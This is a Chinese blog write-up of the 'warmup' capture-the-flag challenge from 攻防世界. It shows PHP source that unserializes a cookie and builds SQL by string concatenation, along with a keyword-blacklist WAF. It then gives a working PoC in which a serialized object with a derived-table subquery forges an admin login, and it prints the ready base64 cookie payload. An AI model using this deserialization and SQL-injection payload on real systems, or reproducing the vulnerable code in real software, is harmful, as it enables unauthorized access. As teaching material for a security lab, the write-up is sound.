首页 > 其他分享 >【攻防世界】warmup

【攻防世界】warmup

时间:2024-07-24 15:20:12浏览次数:8  
标签:username 攻防 warmup admin 世界 123 sql password select

warmup (反序列化与sql注入)

题目来源

攻防世界  NO.GFSJ0999

题目描述

题目提示:平平无奇的输入框

打开网址页面如下,没有有用信息。

img

题目给了附件,直接下载,得到源码如下:

index.php(其中页面布局等无用代码省略)

<?php
include 'conn.php';
include 'flag.php';


if (isset ($_COOKIE['last_login_info'])) {
    $last_login_info = unserialize (base64_decode ($_COOKIE['last_login_info']));         //对cookie中的last_login_info进行反序列化。下面的代码已经可以不用看了,这里就是这道题的入口。
    try {
        if (is_array($last_login_info) && $last_login_info['ip'] != $_SERVER['REMOTE_ADDR']) {
            die('WAF info: your ip status has been changed, you are dangrous.');
        }
    } catch(Exception $e) {
        die('Error');
    }
} else {
    $cookie = base64_encode (serialize (array ( 'ip' => $_SERVER['REMOTE_ADDR']))) ;
    setcookie ('last_login_info', $cookie, time () + (86400 * 30));
}


if(isset($_POST['username']) && isset($_POST['password'])){
    $table = 'users';
    $username = addslashes($_POST['username']);
    $password = addslashes($_POST['password']);
    $sql = new SQL();
    $sql->connect();
    $sql->table = $table;
    $sql->username = $username;
    $sql->password = $password;
    $sql->check_login();
}


?>

conn.php

<?php
include 'flag.php';

class SQL {
    public $table = '';
    public $username = '';
    public $password = '';
    public $conn;
    public function __construct() {
    }
    
    public function connect() {
        $this->conn = new mysqli("localhost", "xxxxx", "xxxx", "xxxx");
    }
        //若返回结果的username字段值为admin则给出flag
    public function check_login(){
        $result = $this->query();
        if ($result === false) {
            die("database error, please check your input");
        }
        $row = $result->fetch_assoc();
        if($row === NULL){
            die("username or password incorrect!");
        }else if($row['username'] === 'admin'){
            $flag = file_get_contents('flag.php');
            echo "welcome, admin! this is your flag -> ".$flag;
        }else{
            echo "welcome! but you are not admin";
        }
        $result->free();
    }
        //对数据库进行查询的语句
    public function query() {
        $this->waf();
        return $this->conn->query ("select username,password from ".$this->table." where username='".$this->username."' and password='".$this->password."'");
    }

    public function waf(){
        $blacklist = ["union", "join", "!", "\"", "#", "$", "%", "&", ".", "/", ":", ";", "^", "_", "`", "{", "|", "}", "<", ">", "?", "@", "[", "\\", "]" , "*", "+", "-"];
        foreach ($blacklist as $value) {
            if(strripos($this->table, $value)){
                die('bad hacker,go out!');
            }
        }
        foreach ($blacklist as $value) {
            if(strripos($this->username, $value)){
                die('bad hacker,go out!');
            }
        }
        foreach ($blacklist as $value) {
            if(strripos($this->password, $value)){
                die('bad hacker,go out!');
            }
        }
    }

    public function __wakeup(){
        if (!isset ($this->conn)) {
            $this->connect();
        }
        if($this->table){
            $this->waf();
        }
        $this->check_login();
        $this->conn->close();
    }

}
?>

题解

本文参考:https://www.cnblogs.com/Goo1/p/17644523.html

显然这题是一道反序列化和sql注入结合的题目,反序列化的参数是$last_login_info

这道题的重点不在于反序列化,反序列化只是提供一个进入函数的入口。
当反序列化开始进行时,若有__wakeup()函数,则执行__wakeup()函数。

可以看到最后得到flag但是代码在check_login()函数,check_login()函数有调用了query()函数对数据库进行查询,并返回结果。

若返回的结果中字段username的值为admin,则返回flag。

观察query()函数中的查询语句:

"select username,password from ".$this->table." where username='".$this->username."' and password='".$this->password."'"

没办法像多数sql注入的题目一样爆库爆表名,我们也无法保证select的结果为admin。
这里涉及知识点:查询虚拟表

poc如下:

<?php
    class SQL{
        public $table;
        public $username;
        public $password;
        public $conn;
    }
    $o=new SQL();
    //括号外的a是子查询表的名字
    $o->table="(select 'admin' username,'123' password)a";
    //要和表内的字段值一致
    $o->username='admin';
    $o->password='123';
    echo serialize($o);

闭合时查询语句为

select username,password from (select 'admin' username,'123' password)a where username='admin' and password='123'

下面对这条查询语句进行解释

select 'admin' username,'123' password

这部分创建了一个临时的虚拟表,其中包含两列:username 和 password,并且它们的值分别是 'admin' 和 '123'。

(select 'admin' username,'123' password) a

上面的子查询被命名为 a。这意味着整个子查询的结果会被视为一个名为 a 的表。

select username,password from (select 'admin' username,'123' password)a where username='admin' and password='123'

这部分从虚拟表 a 中选择 username 和 password 两列,并且只选择满足条件 username='admin' 和 password='123' 的记录。

综合来看,该 SQL 语句最终返回的结果是:

username password
admin 123

满足条件$row['username'] === 'admin'
将得到的序列化对象进行base64编码

TzozOiJTUUwiOjQ6e3M6NToidGFibGUiO3M6NDE6IihzZWxlY3QgJ2FkbWluJyB1c2VybmFtZSwnMTIzJyBwYXNzd29yZClhIjtzOjg6InVzZXJuYW1lIjtzOjU6ImFkbWluIjtzOjg6InBhc3N3b3JkIjtzOjM6IjEyMyI7czo0OiJjb25uIjtOO30=

赋值给$last_login_info

img

查看页面源码得到flag

img

标签:username,攻防,warmup,admin,世界,123,sql,password,select
From: https://www.cnblogs.com/MrSoap/p/18320964

相关文章

  • 【Linux】1.Linux的基本指令---快速学习6个指令,开启新世界的大门
     欢迎来到CILMY23的博客......
  • 我的世界指令
    1./summon:召唤实体。2./give:给予玩家物品。3./tp:传送实体。4./help:提供命令使用帮助。5./setworldspawn:设置世界出生点。6./testfor:检测某实体。7./execute:执行另一条命令。8./fill:在某个区域填充特定方块。9./spawnpoint:设置玩家出生点。10./ban:添加或移除玩家禁入某......
  • 我的世界药水
    1、粗制药水:地狱疣+水瓶。2、喷溅药水:火药+水瓶。3、滞留药水:喷溅药水+龙息。4、平凡的药水:恶魂之泪、闪烁的西瓜、烈焰粉、岩浆膏、糖或者是蜘蛛眼+水瓶。5、力量药水:粗制药水+烈焰粉。6、迅捷药水:粗制药水+糖。7、跳跃药水:粗制药水+兔子脚。8、迟缓药水:迅捷药水/跳跃......
  • CrowdStrike的影响:全球IT中断如何摧毁世界科技
    2024年7月19日windows蓝屏事件一、前言​CrowdStrike遭遇了全球IT中断,凸显了互联全球供应链的脆弱性。根据Interos的数据,此次中断影响了CrowdStrike和Microsoft的674,620个直接客户关系,并间接影响了超过4900万客户关系。虽然美国是受影响最严重的国家,受影响......
  • 【待做】【攻防技术系列+Linux后门】alias
    alias用法系统默认别名:alias设置别名:aliasls='ls-laih'删除别名:unaliasls加参数:aliasls='ls-laih;pwd'❗注意系统启动默认加载的配置文件:/etc/profile切换用户就会执行/etc/profile/etc/bashrcbashshell~/.bash......
  • 【待做】【攻防技术系列+漏洞复现】MS-17010
    虚拟机环境搭建:Kali,192.168.10.131win7,192.168.10.133winXP,192.168.10.137众所周知,msfconsole是一款神器的工具,里面具备了市面上绝大多数的payload,而在往常的ms17010漏洞最常见的四个payload如下:漏洞检测payload:auxiliary/scanner/smb/smb_ms17_010x64架构漏洞利用pay......
  • 《无人深空》风灵月影修改器操作指南:探索不一样的浩瀚星系世界
    无人深空是一款以太空探索冒险生存为主题的游戏,整体的自由度非常高,使用《无人深空》(NoMan'sSky)的风灵月影修改器可以显著改变游戏体验,提供多种便利功能。以下是使用修改器的操作指南,帮助你在浩瀚的星系中探索不一样的世界:准备工作1.下载修改器:从可靠来源下载《无人深空》......
  • 我的世界战争
    #include<bits/stdc++.h>#include<time.h>#include<windows.h>#include<stdlib.h>usingnamespacestd;intmain(){cout<<"我";Sleep(500);cout<<"的";Sleep(500);cout<<"......
  • 【攻防技术系列+后渗透】配置文件
    配置文件中往往会出现大量数据库连接账号密码,以下整理了部分常见框架的路径,在实战中可以在框架识别后进行关键字检索。Django(PythonWeb框架):Django项目的配置文件通常位于项目根目录下的settings.py文件中。在这个文件中,数据库配置(如数据库引擎、名称、用户、密码等)会被定义在DA......
  • 【攻防技术系列+反溯源】windows入侵痕迹清理
    #反溯源#痕迹清理#攻防演练在授权攻防演练中,攻击结束后,如何不留痕迹的清除日志和操作记录,以掩盖入侵踪迹,这其实是一个细致的技术活。在蓝队的溯源中,攻击者的攻击路径都将记录在日志中,所遗留的工具也会被蓝队进行分析,在工具中可以查找特征,红队自研工具更容易留下蛛丝马迹。你......